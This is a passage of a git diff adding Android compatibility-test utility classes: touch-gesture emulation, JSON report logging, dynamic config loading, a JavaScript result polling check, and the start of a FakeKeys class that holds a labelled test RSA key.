+ eventInjectionListener.onMoveInjected(xCoordsForListener, yCoordsForListener);
+ }
+ eventMove.recycle();
+ prevEventTime = eventTime;
+
+ // sleep for a bit to emulate the overall drag gesture.
+ SystemClock.sleep(sleepTime);
+ }
+ }
+
+ private static void injectUpEvent(UiAutomation uiAutomation, long downTime,
+ boolean useCurrentEventTime, int xOnScreen, int yOnScreen,
+ EventInjectionListener eventInjectionListener) {
+ long eventTime = useCurrentEventTime ? SystemClock.uptimeMillis() : downTime;
+ MotionEvent eventUp = MotionEvent.obtain(
+ downTime, eventTime, MotionEvent.ACTION_UP, xOnScreen, yOnScreen, 1);
+ eventUp.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+ uiAutomation.injectInputEvent(eventUp, true);
+ if (eventInjectionListener != null) {
+ eventInjectionListener.onUpInjected(xOnScreen, yOnScreen);
+ }
+ eventUp.recycle();
+ }
+
+ /**
+ * Emulates a fling gesture across the horizontal center of the passed view.
+ *
+ * @param instrumentation the instrumentation used to run the test
+ * @param view the view to fling
+ * @param isDownwardsFlingGesture if <code>true</code>, the emulated fling will
+ * be a downwards gesture
+ * @return The vertical amount of emulated fling in pixels
+ */
+ public static int emulateFlingGesture(Instrumentation instrumentation,
+ View view, boolean isDownwardsFlingGesture) {
+ return emulateFlingGesture(instrumentation, view, isDownwardsFlingGesture, null);
+ }
+
+ /**
+ * Emulates a fling gesture across the horizontal center of the passed view.
+ *
+ * @param instrumentation the instrumentation used to run the test
+ * @param view the view to fling
+ * @param isDownwardsFlingGesture if <code>true</code>, the emulated fling will
+ * be a downwards gesture
+ * @param eventInjectionListener optional listener to notify about the injected events
+ * @return The vertical amount of emulated fling in pixels
+ */
+ public static int emulateFlingGesture(Instrumentation instrumentation,
+ View view, boolean isDownwardsFlingGesture,
+ EventInjectionListener eventInjectionListener) {
+ final ViewConfiguration configuration = ViewConfiguration.get(view.getContext());
+ final int flingVelocity = (configuration.getScaledMinimumFlingVelocity() +
+ configuration.getScaledMaximumFlingVelocity()) / 2;
+ // Get view coordinates on the screen
+ final int[] viewOnScreenXY = new int[2];
+ view.getLocationOnScreen(viewOnScreenXY);
+
+ // Our fling gesture will be from 25% height of the view to 75% height of the view
+ // for downwards fling gesture, and the other way around for upwards fling gesture
+ final int viewHeight = view.getHeight();
+ final int x = viewOnScreenXY[0] + view.getWidth() / 2;
+ final int startY = isDownwardsFlingGesture ? viewOnScreenXY[1] + viewHeight / 4
+ : viewOnScreenXY[1] + 3 * viewHeight / 4;
+ final int amountY = isDownwardsFlingGesture ? viewHeight / 2 : -viewHeight / 2;
+
+ // Compute fling gesture duration based on the distance (50% height of the view) and
+ // fling velocity
+ final int durationMs = (1000 * viewHeight) / (2 * flingVelocity);
+
+ // And do the same event injection sequence as our generic drag gesture
+ emulateDragGesture(instrumentation, x, startY, 0, amountY, durationMs, durationMs / 16,
+ eventInjectionListener);
+
+ return amountY;
+ }
+
+ private static class ViewStateSnapshot {
+ final View mFirst;
+ final View mLast;
+ final int mFirstTop;
+ final int mLastBottom;
+ final int mChildCount;
+ private ViewStateSnapshot(ViewGroup viewGroup) {
+ mChildCount = viewGroup.getChildCount();
+ if (mChildCount == 0) {
+ mFirst = mLast = null;
+ mFirstTop = mLastBottom = Integer.MIN_VALUE;
+ } else {
+ mFirst = viewGroup.getChildAt(0);
+ mLast = viewGroup.getChildAt(mChildCount - 1);
+ mFirstTop = mFirst.getTop();
+ mLastBottom = mLast.getBottom();
+ }
+ }
+
+ @Override
+ public boolean equals(Object o) {
+ if (this == o) {
+ return true;
+ }
+ if (o == null || getClass() != o.getClass()) {
+ return false;
+ }
+
+ final ViewStateSnapshot that = (ViewStateSnapshot) o;
+ return mFirstTop == that.mFirstTop &&
+ mLastBottom == that.mLastBottom &&
+ mFirst == that.mFirst &&
+ mLast == that.mLast &&
+ mChildCount == that.mChildCount;
+ }
+
+ @Override
+ public int hashCode() {
+ int result = mFirst != null ? mFirst.hashCode() : 0;
+ result = 31 * result + (mLast != null ? mLast.hashCode() : 0);
+ result = 31 * result + mFirstTop;
+ result = 31 * result + mLastBottom;
+ result = 31 * result + mChildCount;
+ return result;
+ }
+ }
+
+ /**
+ * Emulates a scroll to the bottom of the specified {@link ViewGroup}.
+ *
+ * @param instrumentation the instrumentation used to run the test
+ * @param viewGroup View group
+ */
+ public static void emulateScrollToBottom(Instrumentation instrumentation, ViewGroup viewGroup) {
+ final int[] viewGroupOnScreenXY = new int[2];
+ viewGroup.getLocationOnScreen(viewGroupOnScreenXY);
+
+ final int emulatedX = viewGroupOnScreenXY[0] + viewGroup.getWidth() / 2;
+ final int emulatedStartY = viewGroupOnScreenXY[1] + 3 * viewGroup.getHeight() / 4;
+ final int swipeAmount = viewGroup.getHeight() / 2;
+
+ ViewStateSnapshot prev;
+ ViewStateSnapshot next = new ViewStateSnapshot(viewGroup);
+ do {
+ prev = next;
+ emulateDragGesture(instrumentation, emulatedX, emulatedStartY, 0, -swipeAmount,
+ 300, 10);
+ next = new ViewStateSnapshot(viewGroup);
+ } while (!prev.equals(next));
+ }
+
+ /**
+ * Emulates a long press in the center of the passed {@link View}.
+ *
+ * @param instrumentation the instrumentation used to run the test
+ * @param view the view to "long press"
+ */
+ public static void emulateLongPressOnViewCenter(Instrumentation instrumentation, View view) {
+ emulateLongPressOnViewCenter(instrumentation, view, 0);
+ }
+
+ /**
+ * Emulates a long press in the center of the passed {@link View}.
+ *
+ * @param instrumentation the instrumentation used to run the test
+ * @param view the view to "long press"
+ * @param extraWaitMs the duration of emulated "long press" in milliseconds starting
+ * after system-level long press timeout.
+ */
+ public static void emulateLongPressOnViewCenter(Instrumentation instrumentation, View view,
+ long extraWaitMs) {
+ final int touchSlop = ViewConfiguration.get(view.getContext()).getScaledTouchSlop();
+ // Use instrumentation to emulate a tap on the spinner to bring down its popup
+ final int[] viewOnScreenXY = new int[2];
+ view.getLocationOnScreen(viewOnScreenXY);
+ int xOnScreen = viewOnScreenXY[0] + view.getWidth() / 2;
+ int yOnScreen = viewOnScreenXY[1] + view.getHeight() / 2;
+
+ emulateLongPressOnScreen(
+ instrumentation, xOnScreen, yOnScreen, touchSlop, extraWaitMs, true);
+ }
+
+ /**
+ * Emulates a long press confirmed on a point relative to the top-left corner of the passed
+ * {@link View}. Offset parameters are used to compute the final screen coordinates of the
+ * press point.
+ *
+ * @param instrumentation the instrumentation used to run the test
+ * @param view the view to "long press"
+ * @param offsetX extra X offset for the tap
+ * @param offsetY extra Y offset for the tap
+ */
+ public static void emulateLongPressOnView(Instrumentation instrumentation, View view,
+ int offsetX, int offsetY) {
+ final int touchSlop = ViewConfiguration.get(view.getContext()).getScaledTouchSlop();
+ final int[] viewOnScreenXY = new int[2];
+ view.getLocationOnScreen(viewOnScreenXY);
+ int xOnScreen = viewOnScreenXY[0] + offsetX;
+ int yOnScreen = viewOnScreenXY[1] + offsetY;
+
+ emulateLongPressOnScreen(instrumentation, xOnScreen, yOnScreen, touchSlop, 0, true);
+ }
+
+ /**
+ * Emulates a long press then a linear drag gesture between 2 points across the screen.
+ * This is used for drag selection.
+ *
+ * @param instrumentation the instrumentation used to run the test
+ * @param dragStartX Start X of the emulated drag gesture
+ * @param dragStartY Start Y of the emulated drag gesture
+ * @param dragAmountX X amount of the emulated drag gesture
+ * @param dragAmountY Y amount of the emulated drag gesture
+ */
+ public static void emulateLongPressAndDragGesture(Instrumentation instrumentation,
+ int dragStartX, int dragStartY, int dragAmountX, int dragAmountY) {
+ emulateLongPressOnScreen(instrumentation, dragStartX, dragStartY,
+ 0 /* touchSlop */, 0 /* extraWaitMs */, false /* upGesture */);
+ emulateDragGesture(instrumentation, dragStartX, dragStartY, dragAmountX, dragAmountY);
+ }
+
+ /**
+ * Emulates a long press on the screen.
+ *
+ * @param instrumentation the instrumentation used to run the test
+ * @param xOnScreen X position on screen for the "long press"
+ * @param yOnScreen Y position on screen for the "long press"
+ * @param extraWaitMs extra duration of emulated long press in milliseconds added
+ * after the system-level "long press" timeout.
+ * @param upGesture whether to include an up event.
+ */
+ private static void emulateLongPressOnScreen(Instrumentation instrumentation,
+ int xOnScreen, int yOnScreen, int touchSlop, long extraWaitMs, boolean upGesture) {
+ final UiAutomation uiAutomation = instrumentation.getUiAutomation();
+ final long downTime = SystemClock.uptimeMillis();
+
+ injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
+ injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
+ SystemClock.sleep((long) (ViewConfiguration.getLongPressTimeout() * 1.5f) + extraWaitMs);
+ if (upGesture) {
+ injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
+ }
+
+ // Wait for the system to process all events in the queue
+ instrumentation.waitForIdleSync();
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceInfoStore.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceInfoStore.java
new file mode 100644
index 0000000..966ac1a
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceInfoStore.java
@@ -0,0 +1,260 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.util.JsonWriter;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.OutputStreamWriter;
+import java.nio.charset.StandardCharsets;
+import java.util.Arrays;
+import java.util.List;
+
+public class DeviceInfoStore extends InfoStore {
+
+ protected File mJsonFile;
+ protected JsonWriter mJsonWriter = null;
+
+ public DeviceInfoStore() {
+ mJsonFile = null;
+ }
+
+ public DeviceInfoStore(File file) throws Exception {
+ mJsonFile = file;
+ }
+
+ /**
+ * Opens the file for storage and creates the writer.
+ */
+ @Override
+ public void open() throws IOException {
+ FileOutputStream out = new FileOutputStream(mJsonFile);
+ mJsonWriter = new JsonWriter(new OutputStreamWriter(out, StandardCharsets.UTF_8));
+ // TODO(agathaman): remove to make json output less pretty
+ mJsonWriter.setIndent(" ");
+ mJsonWriter.beginObject();
+ }
+
+ /**
+ * Closes the writer.
+ */
+ @Override
+ public void close() throws IOException {
+ mJsonWriter.endObject();
+ mJsonWriter.flush();
+ mJsonWriter.close();
+ }
+
+ /**
+ * Start a new group of result.
+ */
+ @Override
+ public void startGroup() throws IOException {
+ mJsonWriter.beginObject();
+ }
+
+ /**
+ * Start a new group of result with specified name.
+ */
+ @Override
+ public void startGroup(String name) throws IOException {
+ mJsonWriter.name(name);
+ mJsonWriter.beginObject();
+ }
+
+ /**
+ * Complete adding result to the last started group.
+ */
+ @Override
+ public void endGroup() throws IOException {
+ mJsonWriter.endObject();
+ }
+
+ /**
+ * Start a new array of result.
+ */
+ @Override
+ public void startArray() throws IOException {
+ mJsonWriter.beginArray();
+ }
+
+ /**
+ * Start a new array of result with specified name.
+ */
+ @Override
+ public void startArray(String name) throws IOException {
+ checkName(name);
+ mJsonWriter.name(name);
+ mJsonWriter.beginArray();
+ }
+
+ /**
+ * Complete adding result to the last started array.
+ */
+ @Override
+ public void endArray() throws IOException {
+ mJsonWriter.endArray();
+ }
+
+ /**
+ * Adds a int value to the InfoStore
+ */
+ @Override
+ public void addResult(String name, int value) throws IOException {
+ checkName(name);
+ mJsonWriter.name(name);
+ mJsonWriter.value(value);
+ }
+
+ /**
+ * Adds a long value to the InfoStore
+ */
+ @Override
+ public void addResult(String name, long value) throws IOException {
+ checkName(name);
+ mJsonWriter.name(name);
+ mJsonWriter.value(value);
+ }
+
+ /**
+ * Adds a float value to the InfoStore
+ */
+ @Override
+ public void addResult(String name, float value) throws IOException {
+ addResult(name, (double) value);
+ }
+
+ /**
+ * Adds a double value to the InfoStore
+ */
+ @Override
+ public void addResult(String name, double value) throws IOException {
+ checkName(name);
+ if (isDoubleNaNOrInfinite(value)) {
+ return;
+ } else {
+ mJsonWriter.name(name);
+ mJsonWriter.value(value);
+ }
+ }
+
+ /**
+ * Adds a boolean value to the InfoStore
+ */
+ @Override
+ public void addResult(String name, boolean value) throws IOException {
+ checkName(name);
+ mJsonWriter.name(name);
+ mJsonWriter.value(value);
+ }
+
+ /**
+ * Adds a String value to the InfoStore
+ */
+ @Override
+ public void addResult(String name, String value) throws IOException {
+ checkName(name);
+ mJsonWriter.name(name);
+ mJsonWriter.value(checkString(value));
+ }
+
+ /**
+ * Adds a int array to the InfoStore
+ */
+ @Override
+ public void addArrayResult(String name, int[] array) throws IOException {
+ checkName(name);
+ mJsonWriter.name(name);
+ mJsonWriter.beginArray();
+ for (int value : checkArray(array)) {
+ mJsonWriter.value(value);
+ }
+ mJsonWriter.endArray();
+ }
+
+ /**
+ * Adds a long array to the InfoStore
+ */
+ @Override
+ public void addArrayResult(String name, long[] array) throws IOException {
+ checkName(name);
+ mJsonWriter.name(name);
+ mJsonWriter.beginArray();
+ for (long value : checkArray(array)) {
+ mJsonWriter.value(value);
+ }
+ mJsonWriter.endArray();
+ }
+
+ /**
+ * Adds a float array to the InfoStore
+ */
+ @Override
+ public void addArrayResult(String name, float[] array) throws IOException {
+ double[] doubleArray = new double[array.length];
+ for (int i = 0; i < array.length; i++) {
+ doubleArray[i] = array[i];
+ }
+ addArrayResult(name, doubleArray);
+ }
+
+ /**
+ * Adds a double array to the InfoStore
+ */
+ @Override
+ public void addArrayResult(String name, double[] array) throws IOException {
+ checkName(name);
+ mJsonWriter.name(name);
+ mJsonWriter.beginArray();
+ for (double value : checkArray(array)) {
+ if (isDoubleNaNOrInfinite(value)) {
+ continue;
+ }
+ mJsonWriter.value(value);
+ }
+ mJsonWriter.endArray();
+ }
+
+ /**
+ * Adds a boolean array to the InfoStore
+ */
+ @Override
+ public void addArrayResult(String name, boolean[] array) throws IOException {
+ checkName(name);
+ mJsonWriter.name(name);
+ mJsonWriter.beginArray();
+ for (boolean value : checkArray(array)) {
+ mJsonWriter.value(value);
+ }
+ mJsonWriter.endArray();
+ }
+
+ /**
+ * Adds a List of String to the InfoStore
+ */
+ @Override
+ public void addListResult(String name, List<String> list) throws IOException {
+ checkName(name);
+ mJsonWriter.name(name);
+ mJsonWriter.beginArray();
+ for (String value : checkStringList(list)) {
+ mJsonWriter.value(checkString(value));
+ }
+ mJsonWriter.endArray();
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceReportLog.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceReportLog.java
new file mode 100644
index 0000000..d170263
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceReportLog.java
@@ -0,0 +1,283 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.app.Instrumentation;
+import android.os.Bundle;
+import android.os.Environment;
+import android.util.Log;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.List;
+
+/**
+ * Handles adding results to the report for device side tests.
+ *
+ * NOTE: tests MUST call {@link #submit(Instrumentation)} if and only if the test passes in order to
+ * send the results to the runner.
+ */
+public class DeviceReportLog extends ReportLog {
+ private static final String TAG = DeviceReportLog.class.getSimpleName();
+ private static final String RESULT = "COMPATIBILITY_TEST_RESULT";
+ private static final int INST_STATUS_ERROR = -1;
+ private static final int INST_STATUS_IN_PROGRESS = 2;
+
+ private ReportLogDeviceInfoStore store;
+
+ public DeviceReportLog(String reportLogName, String streamName) {
+ this(reportLogName, streamName,
+ new File(Environment.getExternalStorageDirectory(), "report-log-files"));
+ }
+
+ public DeviceReportLog(String reportLogName, String streamName, File logDirectory) {
+ super(reportLogName, streamName);
+ try {
+ // dir value must match the src-dir value configured in ReportLogCollector target
+ // preparer in cts/harness/tools/cts-tradefed/res/config/cts-preconditions.xml
+ if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) {
+ throw new IOException("External storage is not mounted");
+ } else if ((!logDirectory.exists() && !logDirectory.mkdirs())
+ || (logDirectory.exists() && !logDirectory.isDirectory())) {
+ throw new IOException("Cannot create directory for device info files");
+ } else {
+ File jsonFile = new File(logDirectory, mReportLogName + ".reportlog.json");
+ store = new ReportLogDeviceInfoStore(jsonFile, mStreamName);
+ store.open();
+ }
+ } catch (Exception e) {
+ Log.e(TAG, "Could not create report log file.", e);
+ }
+ }
+
+ /**
+ * Adds a double metric to the report.
+ */
+ @Override
+ public void addValue(String source, String message, double value, ResultType type,
+ ResultUnit unit) {
+ super.addValue(source, message, value, type, unit);
+ try {
+ store.addResult(message, value);
+ } catch (Exception e) {
+ Log.e(TAG, "Could not log metric.", e);
+ }
+ }
+
+ /**
+ * Adds a double metric to the report.
+ */
+ @Override
+ public void addValue(String message, double value, ResultType type, ResultUnit unit) {
+ super.addValue(message, value, type, unit);
+ try {
+ store.addResult(message, value);
+ } catch (Exception e) {
+ Log.e(TAG, "Could not log metric.", e);
+ }
+ }
+
+ /**
+ * Adds a double array of metrics to the report.
+ */
+ @Override
+ public void addValues(String source, String message, double[] values, ResultType type,
+ ResultUnit unit) {
+ super.addValues(source, message, values, type, unit);
+ try {
+ store.addArrayResult(message, values);
+ } catch (Exception e) {
+ Log.e(TAG, "Could not log metric.", e);
+ }
+ }
+
+ /**
+ * Adds a double array of metrics to the report.
+ */
+ @Override
+ public void addValues(String message, double[] values, ResultType type, ResultUnit unit) {
+ super.addValues(message, values, type, unit);
+ try {
+ store.addArrayResult(message, values);
+ } catch (Exception e) {
+ Log.e(TAG, "Could not log metric.", e);
+ }
+ }
+
+ /**
+ * Adds an int metric to the report.
+ */
+ @Override
+ public void addValue(String message, int value, ResultType type, ResultUnit unit) {
+ try {
+ store.addResult(message, value);
+ } catch (Exception e) {
+ Log.e(TAG, "Could not log metric.", e);
+ }
+ }
+
+ /**
+ * Adds a long metric to the report.
+ */
+ @Override
+ public void addValue(String message, long value, ResultType type, ResultUnit unit) {
+ try {
+ store.addResult(message, value);
+ } catch (Exception e) {
+ Log.e(TAG, "Could not log metric.", e);
+ }
+ }
+
+ /**
+ * Adds a float metric to the report.
+ */
+ @Override
+ public void addValue(String message, float value, ResultType type, ResultUnit unit) {
+ try {
+ store.addResult(message, value);
+ } catch (Exception e) {
+ Log.e(TAG, "Could not log metric.", e);
+ }
+ }
+
+ /**
+ * Adds a boolean metric to the report.
+ */
+ @Override
+ public void addValue(String message, boolean value, ResultType type, ResultUnit unit) {
+ try {
+ store.addResult(message, value);
+ } catch (Exception e) {
+ Log.e(TAG, "Could not log metric.", e);
+ }
+ }
+
+ /**
+ * Adds a String metric to the report.
+ */
+ @Override
+ public void addValue(String message, String value, ResultType type, ResultUnit unit) {
+ try {
+ store.addResult(message, value);
+ } catch (Exception e) {
+ Log.e(TAG, "Could not log metric.", e);
+ }
+ }
+
+ /**
+ * Adds an int array of metrics to the report.
+ */
+ @Override
+ public void addValues(String message, int[] values, ResultType type, ResultUnit unit) {
+ try {
+ store.addArrayResult(message, values);
+ } catch (Exception e) {
+ Log.e(TAG, "Could not log metric.", e);
+ }
+ }
+
+ /**
+ * Adds a long array of metrics to the report.
+ */
+ @Override
+ public void addValues(String message, long[] values, ResultType type, ResultUnit unit) {
+ try {
+ store.addArrayResult(message, values);
+ } catch (Exception e) {
+ Log.e(TAG, "Could not log metric.", e);
+ }
+ }
+
+ /**
+ * Adds a float array of metrics to the report.
+ */
+ @Override
+ public void addValues(String message, float[] values, ResultType type, ResultUnit unit) {
+ try {
+ store.addArrayResult(message, values);
+ } catch (Exception e) {
+ Log.e(TAG, "Could not log metric.", e);
+ }
+ }
+
+ /**
+ * Adds a boolean array of metrics to the report.
+ */
+ @Override
+ public void addValues(String message, boolean[] values, ResultType type, ResultUnit unit) {
+ try {
+ store.addArrayResult(message, values);
+ } catch (Exception e) {
+ Log.e(TAG, "Could not log metric.", e);
+ }
+ }
+
+ /**
+ * Adds a String List of metrics to the report.
+ */
+ @Override
+ public void addValues(String message, List<String> values, ResultType type, ResultUnit unit) {
+ try {
+ store.addListResult(message, values);
+ } catch (Exception e) {
+ Log.e(TAG, "Could not log metric.", e);
+ }
+ }
+
+ /**
+ * Sets the summary double metric of the report.
+ *
+ * NOTE: messages over {@value Metric#MAX_MESSAGE_LENGTH} chars will be trimmed.
+ */
+ @Override
+ public void setSummary(String message, double value, ResultType type, ResultUnit unit) {
+ super.setSummary(message, value, type, unit);
+ try {
+ store.addResult(message, value);
+ } catch (Exception e) {
+ Log.e(TAG, "Could not log metric.", e);
+ }
+ }
+
+ /**
+ * Closes report file and submits report to instrumentation.
+ */
+ public void submit(Instrumentation instrumentation) {
+ try {
+ store.close();
+ Bundle output = new Bundle();
+ output.putString(RESULT, serialize(this));
+ instrumentation.sendStatus(INST_STATUS_IN_PROGRESS, output);
+ } catch (Exception e) {
+ Log.e(TAG, "ReportLog Submit Failed", e);
+ instrumentation.sendStatus(INST_STATUS_ERROR, null);
+ }
+ }
+
+ /**
+ * Closes report file. Static functions that do not have access to instrumentation can
+ * use this to close report logs. Summary, if present, is not reported to instrumentation, hence
+ * does not appear in the result XML.
+ */
+ public void submit() {
+ try {
+ store.close();
+ } catch (Exception e) {
+ Log.e(TAG, "ReportLog Submit Failed", e);
+ }
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DummyActivity.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DummyActivity.java
new file mode 100644
index 0000000..672106c
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DummyActivity.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+package com.android.compatibility.common.util;
+
+import android.app.Activity;
+
+public class DummyActivity extends Activity {
+
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java
new file mode 100644
index 0000000..e7ee499
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.os.Environment;
+
+import org.xmlpull.v1.XmlPullParserException;
+
+import java.io.File;
+import java.io.IOException;
+
+/**
+ * Load dynamic config for device side test cases
+ */
+public class DynamicConfigDeviceSide extends DynamicConfig {
+ public DynamicConfigDeviceSide(String moduleName) throws XmlPullParserException, IOException {
+ this(moduleName, new File(CONFIG_FOLDER_ON_DEVICE));
+ }
+
+ public DynamicConfigDeviceSide(String moduleName, File configFolder)
+ throws XmlPullParserException, IOException {
+ if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) {
+ throw new IOException("External storage is not mounted");
+ }
+ File configFile = getConfigFile(configFolder, moduleName);
+ initializeConfig(configFile);
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/EvaluateJsResultPollingCheck.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/EvaluateJsResultPollingCheck.java
new file mode 100644
index 0000000..5567ec6
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/EvaluateJsResultPollingCheck.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.webkit.ValueCallback;
+
+import junit.framework.Assert;
+
+public class EvaluateJsResultPollingCheck extends PollingCheck
+ implements ValueCallback<String> {
+ private String mActualResult;
+ private String mExpectedResult;
+ private boolean mGotResult;
+
+ public EvaluateJsResultPollingCheck(String expected) {
+ mExpectedResult = expected;
+ }
+
+ @Override
+ public synchronized boolean check() {
+ return mGotResult;
+ }
+
+ @Override
+ public void run() {
+ super.run();
+ synchronized (this) {
+ Assert.assertEquals(mExpectedResult, mActualResult);
+ }
+ }
+
+ @Override
+ public synchronized void onReceiveValue(String result) {
+ mGotResult = true;
+ mActualResult = result;
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/FakeKeys.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/FakeKeys.java
new file mode 100644
index 0000000..85e06ea
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/FakeKeys.java
@@ -0,0 +1,469 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+// Copied from cts/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
+
+public class FakeKeys {
+ /*
+ * The keys and certificates below are generated with:
+ *
+ * openssl req -new -x509 -days 3650 -extensions v3_ca -keyout cakey.pem -out cacert.pem
+ * openssl req -newkey rsa:1024 -keyout userkey.pem -nodes -days 3650 -out userkey.req
+ * mkdir -p demoCA/newcerts
+ * touch demoCA/index.txt
+ * echo "01" > demoCA/serial
+ * openssl ca -out usercert.pem -in userkey.req -cert cacert.pem -keyfile cakey.pem -days 3650
+ */
+ public static class FAKE_RSA_1 {
+ /**
+ * Generated from above and converted with:
+ *
+ * openssl pkcs8 -topk8 -outform d -in userkey.pem -nocrypt | xxd -i | sed 's/0x/(byte) 0x/g'
+ */
+ public static final byte[] privateKey = {
+ (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x78, (byte) 0x02, (byte) 0x01,
+ (byte) 0x00, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a,
+ (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01,
+ (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x00, (byte) 0x04, (byte) 0x82,
+ (byte) 0x02, (byte) 0x62, (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x5e,
+ (byte) 0x02, (byte) 0x01, (byte) 0x00, (byte) 0x02, (byte) 0x81, (byte) 0x81,
+ (byte) 0x00, (byte) 0xce, (byte) 0x29, (byte) 0xeb, (byte) 0xf6, (byte) 0x5b,
+ (byte) 0x25, (byte) 0xdc, (byte) 0xa1, (byte) 0xa6, (byte) 0x2c, (byte) 0x66,
+ (byte) 0xcb, (byte) 0x20, (byte) 0x90, (byte) 0x27, (byte) 0x86, (byte) 0x8a,
+ (byte) 0x44, (byte) 0x71, (byte) 0x50, (byte) 0xda, (byte) 0xd3, (byte) 0x02,
+ (byte) 0x77, (byte) 0x55, (byte) 0xe9, (byte) 0xe8, (byte) 0x08, (byte) 0xf3,
+ (byte) 0x36, (byte) 0x9a, (byte) 0xae, (byte) 0xab, (byte) 0x04, (byte) 0x6d,
+ (byte) 0x00, (byte) 0x99, (byte) 0xbf, (byte) 0x7d, (byte) 0x0f, (byte) 0x67,
+ (byte) 0x8b, (byte) 0x1d, (byte) 0xd4, (byte) 0x2b, (byte) 0x7c, (byte) 0xcb,
+ (byte) 0xcd, (byte) 0x33, (byte) 0xc7, (byte) 0x84, (byte) 0x30, (byte) 0xe2,
+ (byte) 0x45, (byte) 0x21, (byte) 0xb3, (byte) 0x75, (byte) 0xf5, (byte) 0x79,
+ (byte) 0x02, (byte) 0xda, (byte) 0x50, (byte) 0xa3, (byte) 0x8b, (byte) 0xce,
